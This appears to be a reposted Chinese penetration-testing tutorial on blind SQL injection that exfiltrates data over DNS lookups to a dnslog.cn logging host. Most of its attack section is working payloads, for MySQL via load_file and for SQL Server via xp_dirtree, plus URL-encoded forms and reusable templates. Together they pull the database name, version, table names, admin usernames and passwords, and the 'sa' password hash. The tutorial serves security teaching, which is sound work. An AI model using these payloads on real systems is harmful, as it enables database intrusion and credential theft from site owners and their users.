84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

本文阅读 4 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、高级注入技巧 dnslog无回显注入

1、原理

       DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息。

       如果将带有查询的语句,发起dns查询请求,通过dns请求查询到值,组合成三级域名,在dns服务器dns的日志中会记录下我们查询的结果。

       无回显注入,一般使用布尔型盲注入和延时注入来逐个猜解数据的字符,但是这两种查询都是很慢。然而dnslog外带查询,因为是直接显示数据,所以这种注入效率上面说的这种都要好太多。

2、dnslog平台

(1)免费的dnslog平台: 传送门 img

3、MySQL dnslog无回显注入示例:

(1)靶机注入点:target_sys.com/article.php?id=1

(2)查询库当前库-payload1:?id=1 and if((select load_file(concat('\\',(select database()),'.vwmh1y.dnslog.cn\abc'))),1,0)   # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=   # 其中【select database()】是我们的注入语句   # 其中【vwmh1y.dnslog.cn】,是我们之前得到的子域名 img

(3)查询数据版本-payload2:?id=1 and if((select load_file(concat('\\',(select VERSION()),'.vwmh1y.dnslog.cn\abc'))),1,0)   # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=   # 其中【select version()】是我们的注入语句   # 其中【vwmh1y.dnslog.cn】,是我们之前得到的子域名

img (4)查询当前库的第一个表名-payload3:?id=1 and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.wdykxm.dnslog.cn\abc'))),1,0)   # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=   # 其中【select username from admin】是我们的注入语句   # 其中【wdykxm.dnslog.cn】,是我们之前得到的子域名 img

(5)查询admin表的帐号-payload4:?id=1 and if((select load_file(concat('\\',(select username from admin),'.wdykxm.dnslog.cn\abc'))),1,0)   # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=   # 其中【select username from admin】是我们的注入语句   # 其中【wdykxm.dnslog.cn】,是我们之前得到的子域名

img

(6)查询admin表的密码-payload5:?id=1 and if((select load_file(concat('\\',(select password from admin),'.wdykxm.dnslog.cn\abc'))),1,0)   # 使用load_file()这个函数,必须要在mysql开启secure_file_prv=   # 其中【select password from admin】是我们的注入语句   # 其中【wdykxm.dnslog.cn】,是我们之前得到的子域名 img

4、SQLSERVER dnslog无回显注入示例:

(1)靶机注入点:http://www.demo1.com/index.aspx?id=1

(2)查询sa的hash密文密码-payload1: ?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')+'.ip.port.nnkdhw.dnslog.cn';EXEC('master..xp_dirtree "\'+@host+'foobar$"');   # 其中【SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name=‘sa’】是我们的注入语句   # 其中【nnkdhw.dnslog.cn】,是我们之前得到的子域名   # 需要对payload中?id=1后面的内容进行URL编码,因为部分字符不会进行自动的编码

?id=1%3bdeclare%20%40host%20varchar(1024)%3bselect%20%40host%3d(select%20top%201%20master.dbo.fn_varbintohexstr(password_hash)from%20sys.sql_logins%20where%20name%3d'sa')%2b'.ip.port.nnkdhw.dnslog.cn'%3bexec('master..xp_dirtree%20%22%5c%5c'%2b%40host%2b'%5cfoobar%24%22')%3b

img

(3)查询admin的password字段-payload2:?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 password from admin)+'.ip.port.nnkdhw.dnslog.cn';EXEC('master..xp_dirtree"\'+@host+'foobar$"');   # 其中【nnkdhw.dnslog.cn】,是我们之前得到的子域名   # 其中【SELECT TOP 1 password from admin】是我们的注入语句   # 需要对payload中?id=1后面的内容进行URL编码,因为部分字符不会进行自动的编码

?id=1%3bdeclare%20%40host%20varchar(1024)%3bselect%20%40host%3d(select%20top%201%20password%20from%20admin)%2b'.ip.port.nnkdhw.dnslog.cn'%3bexec('master..xp_dirtree%22%5c%5c'%2b%40host%2b'%5cfoobar%24%22')%3b

img

5、总结:

(1)首先到dnslog平台获得一个三级域名 (2)其次到注入点传入payload(注意MSSQL在注入的时候payload中?id=1后的内容需要对其进行URL编码) (3)MySQL的payload:

?id=1 and if((select load_file(concat('\\\\',(SQL语句),'.wdykxm.dnslog.cn\\abc'))),1,0)

(4)SQL SERVER的payload:

?id=1;DECLARE @host varchar(1024);
SELECT @host=(SQL语句)+'.ip.port.nnkdhw.dnslog.cn';
EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122629565
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复